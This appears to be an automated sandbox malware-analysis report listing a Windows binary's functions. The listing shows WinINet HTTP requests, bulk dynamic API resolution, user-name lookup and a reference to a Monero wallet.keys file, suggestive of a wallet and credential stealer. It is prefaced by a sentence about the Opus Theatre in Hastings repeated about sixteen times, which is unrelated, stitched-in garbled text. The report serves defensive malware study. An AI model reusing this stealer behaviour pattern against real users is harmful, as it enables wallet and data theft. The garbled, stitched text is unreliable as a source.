Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 2f85e3a60251f6610dda29a90920a36c9900dae399cf1f8f816e905478098c72
Instruction ID: 16ee70012a7afb5dac59a922f98f5a155917db9e8f367b9cd685d127eb3549ca
Opcode Fuzzy Hash: 2f85e3a60251f6610dda29a90920a36c9900dae399cf1f8f816e905478098c72
Instruction Fuzzy Hash: 9B41FF626C6618EAFE2AFBE4AC42FDD77765F42B09F507082EA0053793CBB065214536

Function 003B4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
Part of subcall function 003B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003B4915
StrCmpCA.SHLWAPI(?,0118FA48), ref: 003B493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,003D0DDB,00000000,?,?,00000000,?,",00000000,?,0118F9D8), ref: 003B4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 003B4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 003B4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 003B4E49
InternetCloseHandle.WININET(00000000), ref: 003B4EAD
InternetCloseHandle.WININET(00000000), ref: 003B4EC5
HttpOpenRequestA.WININET(00000000,0118FAA8,?,0118F160,00000000,00000000,00400100,00000000), ref: 003B4B15

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

InternetCloseHandle.WININET(00000000), ref: 003B4ECF

Strings

------, xrefs: 003B4C69
------, xrefs: 003B49BD
------, xrefs: 003B4B28
", xrefs: 003B4BF2
", xrefs: 003B4D33

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 856d785b31be2e36e76b5411654a961868609abc9e9b2e6413d68e78af28fd16
Instruction ID: 7ebfaae00544dc2345e76b75334c3623c4bd0da190f15601e017a699477cb5ee
Opcode Fuzzy Hash: 856d785b31be2e36e76b5411654a961868609abc9e9b2e6413d68e78af28fd16
Instruction Fuzzy Hash: 6712C87291061CABDB16EB90DC92FEEB778AF14304F50419DB106AA091EF702F49CF66

Function 003C7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003B11B7), ref: 003C7880
RtlAllocateHeap.NTDLL(00000000), ref: 003C7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 003C789F

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a2ef45f579205ebc44356beb9632b0228bca343b8554d58bc8d77750bbd32b48
Instruction ID: 5cf26d08c785ec9b0d3d326c4a9f0f4e1ed096289aa6da4abb3ce0d5ff52cb54
Opcode Fuzzy Hash: a2ef45f579205ebc44356beb9632b0228bca343b8554d58bc8d77750bbd32b48
Instruction Fuzzy Hash: B7F044F1944208AFC700DF95DD45FAEBBB8F704751F100159FA05E3680C7781904CBA2

Function 003B1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 003B116A
ExitProcess.KERNEL32 ref: 003B117E

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 827c0bc94a7126e645342d1d33665dafc2280d979fe4a28901c4ff6c3f9427e4
Instruction ID: 767420209e0aeff40f29aeb1bc64090218ba4525e7fb29b236cd7ba78641afad
Opcode Fuzzy Hash: 827c0bc94a7126e645342d1d33665dafc2280d979fe4a28901c4ff6c3f9427e4
Instruction Fuzzy Hash: DED05EB490130CDBCB00EFE0D849AEDBB78FB08315F000554D909B2340EA346486CAA6

Function 003C9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,01175550), ref: 003C9C2D
GetProcAddress.KERNEL32(76210000,011756B0), ref: 003C9C45
GetProcAddress.KERNEL32(76210000,01189030), ref: 003C9C5E
GetProcAddress.KERNEL32(76210000,01189048), ref: 003C9C76
GetProcAddress.KERNEL32(76210000,01189060), ref: 003C9C8E
GetProcAddress.KERNEL32(76210000,0118D918), ref: 003C9CA7
GetProcAddress.KERNEL32(76210000,0117A548), ref: 003C9CBF
GetProcAddress.KERNEL32(76210000,0118D828), ref: 003C9CD7
GetProcAddress.KERNEL32(76210000,0118DAB0), ref: 003C9CF0
GetProcAddress.KERNEL32(76210000,0118DA38), ref: 003C9D08
GetProcAddress.KERNEL32(76210000,0118D888), ref: 003C9D20
GetProcAddress.KERNEL32(76210000,01175570), ref: 003C9D39
GetProcAddress.KERNEL32(76210000,01175350), ref: 003C9D51
GetProcAddress.KERNEL32(76210000,01175590), ref: 003C9D69
GetProcAddress.KERNEL32(76210000,01175450), ref: 003C9D82
GetProcAddress.KERNEL32(76210000,0118D9D8), ref: 003C9D9A
GetProcAddress.KERNEL32(76210000,0118DA80), ref: 003C9DB2
GetProcAddress.KERNEL32(76210000,0117A908), ref: 003C9DCB
GetProcAddress.KERNEL32(76210000,01175650), ref: 003C9DE3
GetProcAddress.KERNEL32(76210000,0118DA68), ref: 003C9DFB
GetProcAddress.KERNEL32(76210000,0118D990), ref: 003C9E14
GetProcAddress.KERNEL32(76210000,0118D948), ref: 003C9E2C
GetProcAddress.KERNEL32(76210000,0118D8A0), ref: 003C9E44
GetProcAddress.KERNEL32(76210000,01175490), ref: 003C9E5D
GetProcAddress.KERNEL32(76210000,0118D858), ref: 003C9E75
GetProcAddress.KERNEL32(76210000,0118D9C0), ref: 003C9E8D
GetProcAddress.KERNEL32(76210000,0118DA50), ref: 003C9EA6
GetProcAddress.KERNEL32(76210000,0118DA98), ref: 003C9EBE
GetProcAddress.KERNEL32(76210000,0118D9F0), ref: 003C9ED6
GetProcAddress.KERNEL32(76210000,0118D8E8), ref: 003C9EEF
GetProcAddress.KERNEL32(76210000,0118D7C8), ref: 003C9F07
GetProcAddress.KERNEL32(76210000,0118D8B8), ref: 003C9F1F
GetProcAddress.KERNEL32(76210000,0118D8D0), ref: 003C9F38
GetProcAddress.KERNEL32(76210000,0117FE70), ref: 003C9F50
GetProcAddress.KERNEL32(76210000,0118D9A8), ref: 003C9F68
GetProcAddress.KERNEL32(76210000,0118D810), ref: 003C9F81
GetProcAddress.KERNEL32(76210000,01175390), ref: 003C9F99
GetProcAddress.KERNEL32(76210000,0118D7E0), ref: 003C9FB1
GetProcAddress.KERNEL32(76210000,01175370), ref: 003C9FCA
GetProcAddress.KERNEL32(76210000,0118D7F8), ref: 003C9FE2
GetProcAddress.KERNEL32(76210000,0118D900), ref: 003C9FFA
GetProcAddress.KERNEL32(76210000,011754B0), ref: 003CA013
GetProcAddress.KERNEL32(76210000,011754D0), ref: 003CA02B
LoadLibraryA.KERNEL32(0118D960,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA03D
LoadLibraryA.KERNEL32(0118DA08,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA04E
LoadLibraryA.KERNEL32(0118D840,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA060
LoadLibraryA.KERNEL32(0118D870,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA072
LoadLibraryA.KERNEL32(0118D930,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA083
LoadLibraryA.KERNEL32(0118D978,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA095
LoadLibraryA.KERNEL32(0118DA20,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA0A7
LoadLibraryA.KERNEL32(0118DAF8,?,003C5CA3,003D0AEB,?,?,?,?,?,?,?,?,?,?,003D0AEA,003D0AE3), ref: 003CA0B8
GetProcAddress.KERNEL32(751E0000,01175190), ref: 003CA0DA
GetProcAddress.KERNEL32(751E0000,0118DD08), ref: 003CA0F2
GetProcAddress.KERNEL32(751E0000,01188B40), ref: 003CA10A
GetProcAddress.KERNEL32(751E0000,0118DD98), ref: 003CA123
GetProcAddress.KERNEL32(751E0000,011750F0), ref: 003CA13B
GetProcAddress.KERNEL32(701C0000,0117A610), ref: 003CA160
GetProcAddress.KERNEL32(701C0000,01174FB0), ref: 003CA179
GetProcAddress.KERNEL32(701C0000,0117A570), ref: 003CA191
GetProcAddress.KERNEL32(701C0000,0118DAC8), ref: 003CA1A9
GetProcAddress.KERNEL32(701C0000,0118DB88), ref: 003CA1C2
GetProcAddress.KERNEL32(701C0000,011750D0), ref: 003CA1DA
GetProcAddress.KERNEL32(701C0000,01174FD0), ref: 003CA1F2
GetProcAddress.KERNEL32(701C0000,0118DB10), ref: 003CA20B
GetProcAddress.KERNEL32(753A0000,011752B0), ref: 003CA22C
GetProcAddress.KERNEL32(753A0000,01174FF0), ref: 003CA244
GetProcAddress.KERNEL32(753A0000,0118DCF0), ref: 003CA25D
GetProcAddress.KERNEL32(753A0000,0118DD50), ref: 003CA275
GetProcAddress.KERNEL32(753A0000,01175270), ref: 003CA28D
GetProcAddress.KERNEL32(76310000,0117A7F0), ref: 003CA2B3
GetProcAddress.KERNEL32(76310000,0117A868), ref: 003CA2CB
GetProcAddress.KERNEL32(76310000,0118DC90), ref: 003CA2E3
GetProcAddress.KERNEL32(76310000,01175290), ref: 003CA2FC
GetProcAddress.KERNEL32(76310000,011752D0), ref: 003CA314
GetProcAddress.KERNEL32(76310000,0117A890), ref: 003CA32C
GetProcAddress.KERNEL32(76910000,0118DD80), ref: 003CA352
GetProcAddress.KERNEL32(76910000,011752F0), ref: 003CA36A
GetProcAddress.KERNEL32(76910000,01188BC0), ref: 003CA382
GetProcAddress.KERNEL32(76910000,0118DBB8), ref: 003CA39B
GetProcAddress.KERNEL32(76910000,0118DCA8), ref: 003CA3B3
GetProcAddress.KERNEL32(76910000,01175010), ref: 003CA3CB
GetProcAddress.KERNEL32(76910000,01175030), ref: 003CA3E4
GetProcAddress.KERNEL32(76910000,0118DB58), ref: 003CA3FC
GetProcAddress.KERNEL32(76910000,0118DAE0), ref: 003CA414
GetProcAddress.KERNEL32(75B30000,01175310), ref: 003CA436
GetProcAddress.KERNEL32(75B30000,0118DC00), ref: 003CA44E
GetProcAddress.KERNEL32(75B30000,0118DCD8), ref: 003CA466
GetProcAddress.KERNEL32(75B30000,0118DD20), ref: 003CA47F
GetProcAddress.KERNEL32(75B30000,0118DBA0), ref: 003CA497
GetProcAddress.KERNEL32(75670000,01175330), ref: 003CA4B8
GetProcAddress.KERNEL32(75670000,011750B0), ref: 003CA4D1
GetProcAddress.KERNEL32(76AC0000,01175070), ref: 003CA4F2
GetProcAddress.KERNEL32(76AC0000,0118DCC0), ref: 003CA50A
GetProcAddress.KERNEL32(6F4E0000,01174F50), ref: 003CA530
GetProcAddress.KERNEL32(6F4E0000,01175110), ref: 003CA548
GetProcAddress.KERNEL32(6F4E0000,01175130), ref: 003CA560
GetProcAddress.KERNEL32(6F4E0000,0118DB70), ref: 003CA579
GetProcAddress.KERNEL32(6F4E0000,01175050), ref: 003CA591
GetProcAddress.KERNEL32(6F4E0000,01175210), ref: 003CA5A9
GetProcAddress.KERNEL32(6F4E0000,01174F70), ref: 003CA5C2
GetProcAddress.KERNEL32(6F4E0000,01174F90), ref: 003CA5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 003CA5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 003CA607
GetProcAddress.KERNEL32(75AE0000,0118DC60), ref: 003CA629
GetProcAddress.KERNEL32(75AE0000,01188AE0), ref: 003CA641
GetProcAddress.KERNEL32(75AE0000,0118DB40), ref: 003CA659
GetProcAddress.KERNEL32(75AE0000,0118DDB0), ref: 003CA672
GetProcAddress.KERNEL32(76300000,01175090), ref: 003CA693
GetProcAddress.KERNEL32(6E7F0000,0118DB28), ref: 003CA6B4
GetProcAddress.KERNEL32(6E7F0000,01175150), ref: 003CA6CD
GetProcAddress.KERNEL32(6E7F0000,0118DBD0), ref: 003CA6E5
GetProcAddress.KERNEL32(6E7F0000,0118DBE8), ref: 003CA6FD

Strings

InternetSetOptionA, xrefs: 003CA5E5
HttpQueryInfoA, xrefs: 003CA5FC

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 6383f7b9e8cfbae68a4be6e69121fdeece06ffb1962837e64f20d18b8ba68a07
Instruction ID: 4bb6e9cd1f57b81c338ee2403ed6a875b4906cc145f0a81b7eccb3901f5db369
Opcode Fuzzy Hash: 6383f7b9e8cfbae68a4be6e69121fdeece06ffb1962837e64f20d18b8ba68a07
Instruction Fuzzy Hash: 1B626BF5502201AFC748EFA9ED88D7637F9F76C241704851AA60DC3269D77DA80AEB13

Function 003B6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
Part of subcall function 003B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

InternetOpenA.WININET(003D0DFE,00000001,00000000,00000000,00000000), ref: 003B62E1
StrCmpCA.SHLWAPI(?,0118FA48), ref: 003B6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B6335
HttpOpenRequestA.WININET(00000000,GET,?,0118F160,00000000,00000000,00400100,00000000), ref: 003B6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003B63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003B63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 003B63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 003B646D
InternetCloseHandle.WININET(00000000), ref: 003B64EF
InternetCloseHandle.WININET(00000000), ref: 003B64F9
InternetCloseHandle.WININET(00000000), ref: 003B6503

Strings

ERROR, xrefs: 003B64C9
ERROR, xrefs: 003B6407
GET, xrefs: 003B637C

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: fc97f45a9bb0fdf2832f41c7a2b094de4e0813d26ed7df77efc03b8cb2afa5f2
Instruction ID: 57935fe887dc330a179c915dc9b75f6ca30ed45f3ffea34f32011d032ee37fa3
Opcode Fuzzy Hash: fc97f45a9bb0fdf2832f41c7a2b094de4e0813d26ed7df77efc03b8cb2afa5f2
Instruction Fuzzy Hash: F4717F71A00308ABDB25EB90DC49FEE7778FB44704F108059F209AB591DBB86E85DF52

Function 003C5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003CA820: lstrlen.KERNEL32(003B4F05,?,?,003B4F05,003D0DDE), ref: 003CA82B
Part of subcall function 003CA820: lstrcpy.KERNEL32(003D0DDE,00000000), ref: 003CA885

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C5857

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003C51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C5228

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C5318
Part of subcall function 003C52C0: lstrlen.KERNEL32(00000000), ref: 003C532F
Part of subcall function 003C52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 003C5364
Part of subcall function 003C52C0: lstrlen.KERNEL32(00000000), ref: 003C5383
Part of subcall function 003C52C0: lstrlen.KERNEL32(00000000), ref: 003C53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C5A0C
Sleep.KERNEL32(0000EA60), ref: 003C5A1B

Strings

ERROR, xrefs: 003C5849
ERROR, xrefs: 003C5932
ERROR, xrefs: 003C577D
ERROR, xrefs: 003C59FE
ERROR, xrefs: 003C5693
ERROR, xrefs: 003C5636

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
